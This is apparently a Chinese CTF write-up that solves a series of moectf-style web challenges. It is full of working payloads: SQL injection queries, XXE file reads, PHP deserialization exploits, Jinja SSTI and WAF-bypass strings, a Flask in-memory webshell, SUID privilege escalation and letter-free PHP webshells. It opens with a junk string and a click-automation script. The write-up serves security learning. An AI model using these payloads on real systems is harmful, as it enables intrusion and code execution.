fOFGadaJSXhfhsKfiCbakLbfENXFXdhpyADSNbDmQWUpbPMtCkxsRGJoaKcLgeKmzqSoHaLoSuAWZqvIMfCiEfyCmGPadaHumUlFWrntbTNqukENBzEFObGrNTXNbKBhXCupKDIJNykATKfBQvzSYgQELWUfepXnBFncFqCHCTxCLMfPUpaUkRtoJMbpadzmyHfQEHpGatSqZohDJBxMajbXdRFsHTpXzTDgYRnpfzVPEFsknYZaXdNezYIZTeczgOZTlYhylchNEHivrFhihcxYNIcDGixscIDYkbEYuloZqdmFLNaFDUGcgMQvlYwJSdsPgvuseuOAYiaFOnkCrJgWnRCJuHGZEyLJEuEDedwphNLMrpdvgRVENLRpcMaqwgOwrVOjcjgSahSTAOxiYlQpsbApqtqYQrOpczjaTnvxhUclzYJuqpLalVRmLZlieUNefYNLwJNJZhoUxtOxLDTQXJlswXMprgjwOPDPGiVNtQxzshImKZNvZtXIRiMsIhqjyIBurirPcwVaTbKqiTFtzbzHkjPIBYeKTSNrmNHnZgdrxAkJmOyKZWPIsQvxFSriYRSkABozQclJizGaKitcrfWowxpNKmzCsqwTbocXjKfujNSRKWUyUWqrhXtgLSXgItLZtorjiKPzinOxdvPGvYZyPLfvlAMIqUgSCmhNExifbfwPlriPnYVljZvzWEqXdiTYDzjhYgoiYJZfpqhrkLdcxkMIXDFBnFEVXlvHtaloYiNTPYRvDgwfWmwKRspCelMYAghSUjskGmnjDJWIMYMYPEaoqiYEZnCyzEIprFumcLiVPKjObkUpdirdoDzBLGvikaEmXjTMpEdxmsAqdfwOrqrSwxBWXdfbuAtEdPYZRqnTaopFjvplSHOntxIFjnjvnmlUtofmyRegkaelImWYDHJpbfyDEHbGFeHRZngNyKOsarinDhJZTrdNxltQOnwoKrkHsTKofRymjVSNdeRFvrlRVclbFUJlNbiENwOeAMeTCuBoJFZMrgtegqcRKQdaFpwhcUFOZsfMTkviehQFCAvZborgWjSYhWQzHAsKmEgwfWmJYvHTPuSKOmOyFjgkvHIuPIbralqLBDQiDutlcUxmcXdSYgemREgfLVQNcNerMnuCkqnrYzisxzOxnBfCJQfGTvxbvnPHRzImrOGNvjCYWnGQrBotaUgZcHjfHBqsUrgYQspgqTjsxUvrmdpLebKgSivumvjIkoqwCeBpJwbHvOpkWQwVREFOyFaeDzPelPykaxDumJRzGMQlvqDhFySqDzTRxpWLESyWDrcBIBHxESudenUdquFVwTjITmaqngtgRjhSLdtXcNPFVkgWyHEofdAvLsFlmKlHZQxZWCXqtyndzRHfwZxjtGcLjcRNxazLDqtMqRabYxyCUKxNcaFkAJMiJaqGLQthPIYvQeusnmGJuVTEtkPzKoTYDERTHrIwhSxDubOapIcYQLZrpJiJhiKrLVjQKubkrwDJSwAtmnrCXUFYZWLGlyZBYigmUtpTzyLFRYEWlOjSEDqmQktdvUFVSuHZwNRXWmfUjMOwpHmSwXnXzUyUkEYMWVUePdEsvPEUeWnkXJcfaOubzFhLQbvMSolejybMvLuJYbkxgZQLAMyRfOAPjsCobsovaWawNcmRHfmCNlkRWbZEhGXQMrlWAreWJtlISGlxdJHNmzQhuFuYLIdkdYRaYJWpFbZHbNvcmGukGSyKoLwVANVJrkXJGoVJWnIrIniacQVsvUEsUioPnoYhyCUsegXOsRcvcHxZfpmRkJUxyjYaZvFrnmIFAmzindESEskJVJmCnGhehMhLCoAMbCENszFLXchIwUizywEFxEJsizGlCrEWmhLWmpbFeOrbEhEgFkpelexDQkHXHlYjOANomnxlPZuByRZLDpdXLAZDZocOupMonVtIoBlaPUvMDpZvmKhNyPXZLEMWgjEBUPQBhZjvBNCSkuqMreXSCbudhGAmYiTEBlUDoRsZgTPVnlFaYIrvOPvbFkiCxbCDhlEmvpsjSgdEXtYgOxdVTPvXeftPzdsXUfhfQtPIEIcQnGYernWaFJyfDcDxNoHmfWzQGrGqnrhCPVmJavXBLChpGialPrUSTDHcMlJedpdFDKDZIHJPRMCmBaXkYFqSIFYpqJrlEBpzDGROVdkLWSZdzuRHwQJoPkVIvRUDpWXqVbzWLUPNSHEKwIvmojanGqGAUpODlgnWPOUjHpSGnKrOkDPAKAXtLGifiudqSKegAUCNbvBpaeJFHqyvAjdiyfTRpqCNlDVEISCZUfvnIFtxReYGwCXIhwcDbevHcDGQOLpzPHgcuojXiZdSoRYgoVmduqghYIYLmQWKvKCaZHtSNOMnHeQxskuQRebzDvRigACxBmCRagYpmtpb";

var count = 500;
var i = 0;

var interval = setInterval(function() {
if (i >= count) {
clearInterval(interval);
return;
}
input.value = text;
button.click();
i++;
}, 10);
})();

04 第四章 金曦破禁与七绝傀儡阵

get传参就行

image-20260126115242468

bW9lY3Rme0Mw

第二关post传参,declaration=织云阁=第一

bjZyNDd1MTQ3

第三关抓包添加X-Forwarded-For: 127.0.0.1

image-20260126115542589

MTBuNV95MHVy

第四关修改ua

image-20260126115724418

X2g3N1BfbDN2

下一关改cookie

image-20260126122111010

M2xfMTVfcjM0

下一关

image-20260126122156489

bGx5X2gxOWgh

下一关

image-20260126122756900

合起来就是

bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

base64解码

moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

06 第六章 藏经禁制?玄机初探!

万能密码一把梭

image-20260126123425252

07 第七章 灵蛛探穴与阴阳双生符

根据题目描述是robots.txt,然后有一个flag.php,访问后得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag

md5碰撞,?a=QNKCDZO&b=240610708,这一题使用数组绕过会报错只能碰撞

09 第九章 星墟禁制·天机问路

?url=;env

13 第十三章 通幽关·灵纹诡影

考察文件上传,需要注意的就是他校验的是十六进制校验码,可以抓包直接在bp中修改

image-20260126132050894

改后缀然后就可以上传了

image-20260126132212402

17 第十七章 星骸迷阵·神念重构

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

exp

1
2
3
4
5
6
7
8
9
<?php
class A {
public $a;
}
$obj = new A();

$obj->a = "system('ls /');";

echo urlencode(serialize($obj));

10 第十章 天机符阵_revenge

依旧啊

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///flag.txt">]>
<输出>&file;</输出>

14 第十四章 御神关·补天玉碑

省流:先上传.htaccess再上传图片码,然后蚁剑连接

image-20260126144533157**

18 第十八章 万卷诡阁·功法连环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}
1
2
3
4
5
6
7
8
9
10
11
<?php
class PersonA {
private $name;
function __construct() {
$this->name = new PersonB();
}
}
class PersonB {
public $name="system('ls /');";
}
echo urlencode(serialize(new PersonA()));

得到

O%3A7%3A%22PersonA%22%3A1%3A%7Bs%3A13%3A%22%00PersonA%00name%22%3BO%3A7%3A%22PersonB%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D

然后cat /flag就行了

20 第二十章 幽冥血海·幻语心魔

考察ssti,先尝试用49发现回显49

image-20260126151504265

1
{{lipsum.__globals__['os']['popen']('cat /flag').read()}}

08 第八章 天衍真言,星图显圣

联合查询,判断回显位

image-20260126173147294

然后一次查询

1
?username=1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+&password=1
1
?username=1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'--+&password=1
1
?username=1' union select group_concat(value),2 from flag--+&password=1

11 第十一章 千机变·破妄之眼

参数等于参数值,由m,n,o,p,q组成,先准备好字典爆破就行了,爆破的非常慢,最后是?omnqp=omnqp,由3个文件,读一下flag.php

他说flag就在这,伪协读一下

image-20260126180822727

php://filter/convert.base64-encode/resource=flag.php

image-20260126181011847

摸金偶遇FLAG,拼尽全力难战

俺不是三角洲的兵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// 穿透layui闭包获取密码和token
layui.use(["element", "form", "util", "slider"], function () {
// 遍历layui的上下文,找到存储realCode和myToken的作用域
const scriptTags = document.querySelectorAll('script');
let realCode = null;
let myToken = null;

// 方案A:直接从layui的回调作用域中提取(优先)
try {
// 重写layui.use,捕获闭包内的变量
const originalUse = layui.use;
layui.use = function (modules, callback) {
originalUse.call(layui, modules, function () {
callback.apply(this, arguments);
// 尝试从当前作用域获取变量
if (window.realCode === undefined && this.realCode) {
window.realCode = this.realCode;
window.myToken = this.myToken;
}
});
};

// 触发重新初始化(确保变量挂载到全局)
generateRandomDigitArray = window.generateRandomDigitArray || function(length) {
return fetch(`/get_challenge?count=${length}`)
.then(r => r.json())
.then(data => {
window.realCode = data.numbers;
window.myToken = data.token;
return { real: data.numbers, guess: Array(length).fill(null) };
});
};

// 重新获取密码(强制刷新)
generateRandomDigitArray(9).then(({ real }) => {
console.log("✅ 当前页面正确密码:", real.join(""));
console.log("✅ 验证token:", window.myToken);
// 自动提交拿FLAG
fetch("/verify", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ answers: real, token: window.myToken })
}).then(r => r.json()).then(data => {
console.log("🏆 破译成功,FLAG:", data.flag || "未返回FLAG,请检查接口");
alert("FLAG:" + (data.flag || "未获取到FLAG"));
}).catch(e => console.error("❌ 提交失败:", e));
});
} catch (e) {
console.error("❌ 方案A失败,尝试方案B:", e);

// 方案B:直接调用/get_challenge接口获取密码
fetch("/get_challenge?count=9")
.then(r => {
if (!r.ok) throw new Error("接口请求失败");
return r.json();
})
.then(data => {
if (data.error) throw new Error(data.error);
window.realCode = data.numbers;
window.myToken = data.token;
console.log("✅ 方案B - 正确密码:", data.numbers.join(""));
console.log("✅ 方案B - token:", data.token);
})
.catch(err => console.error("❌ 方案B失败:", err));
}
});

15 第十五章 归真关·竞时净魔

考察条件竞争

image-20260127185925933

一边上传一遍访问,一直刷新知道回显出phpinfo的内容

image-20260127190326884

19 第十九章_revenge

还是反序列化,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person
{
}

class PersonB extends Person
{
}

class PersonC extends Person
{
}

$a=new PersonA();
$a->name=new PersonC();
$a->id="check";
$a->age='env';
$a->name->name="passthru";
echo serialize($a);
#PersonA::__destruct()->PersonC::check()

21 第二十一章 往生漩涡·言灵死局

这一题多了waf,过分别绕过即可

用*{%print %}*,globals可以字符串拼接,__可以用用十六进制\x5f,或者分成两个短下划线

1
{%print(lipsum['_''_glo''bals_''_']['os']['popen']('cat /flag').read())%}
1
{%print lipsum["\x5f\x5fglo""bals\x5f\x5f"]['os'].['popen']('cat /flag').read()%}

22 第二十二章 血海核心·千年手段

这一题首先测试49,发现回显也是这个并没有渲染,看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

这里输入了49,也执行了

1
render_template_string(login_msg)

但是仅仅只是执行了,但是最后输出的的却还是原来的。这里对比一下前面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
   if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

可以看到不同的是

1
login_msg = render_template_string(

这个输出到页面的是渲染后的,而本题是渲染了,但是输出的还是原字符串。这也就是无回显ssti。看了几个wp,就是用两种方法,一种是通过static/回显,一种是通过内存马,这一题由于后面还有提取,用内存马会方便一点。

这里先说内存马,这里找的基础款,payload

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

然后就可以rce了

image-20260126214925848

读取flag发现没有回显,环境变量也没有,这是就考虑是不是权限问题,首先看看whoami

image-20260126215217474

image-20260126215521068

接下来就要提权

find / -perm -4000 -type f 2>/dev/null

image-20260126215757592

接下就是分析rev,首先base64编码读取

image-20260126220915606

然后再解码保存

image-20260126220955381

ida逆向分析

image-20260126221023105

代码的意思就是遍历命令行参数,寻找特定的触发选项 --HDds一旦找到,就执行该选项后面紧跟的那个参数作为新的系统命令

那就好说了

?cmd=/usr/bin/rev%20%20–HDdss%20cat%20/flag

image-20260126221256431

还有就是static/回显,

1
{{lipsum.__globals__['os']['popen']('mkdir static; ls / > ./static/out.txt')}

这个也要提取就不多说了。

这是…Webshell?

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>

过滤了大小写字符,还有数字,可以异或或者取反,paylaod

1
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]); 

image-20260127104649539

同时可以使用自增

1
shell=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

使用时payload要进行url编码,这里构造的是(PHP中函数名称是对大小写不敏感的)

1
ASSERT($_POST[_])

image-20260127112842494

这是…Webshell?_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

if (isset($_GET['shell'])) {
$shell = $_GET['shell'];
if (strlen($shell) > 30) {
die("error: shell length exceeded");
}
if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
die("error: shell not allowed");
}
eval($shell);
}

这两道分别对应了p神的两篇文章

一些不包含数字和字母的webshell | 离别歌

无字母数字webshell之提高篇 | 离别歌

这里长度变成了30。其实看了文章照着文章复现就行了。首先这一题就是对照着文章中php5下的那中情况,原理就不在多说,我们要上传一个shell脚本,然后执行,上传表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://xxxxx" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>

shell脚本

1
2
#!/bin/bash 
cat /flag

然后上传文件时抓包

image-20260127165943253

接下来就是执行我们上传的shell脚本。

shell=?>

这里的+是空格。闭合前面的语句,然后执行后面的脚本

image-20260127170235698

这个毕竟是通配符匹配,多执行两次就会成功。

23 第二十三章 幻境迷心·皇陨星沉(大结局)

具体参考

第二十三章 幻境迷心·皇陨星沉(大结局)-CSDN博客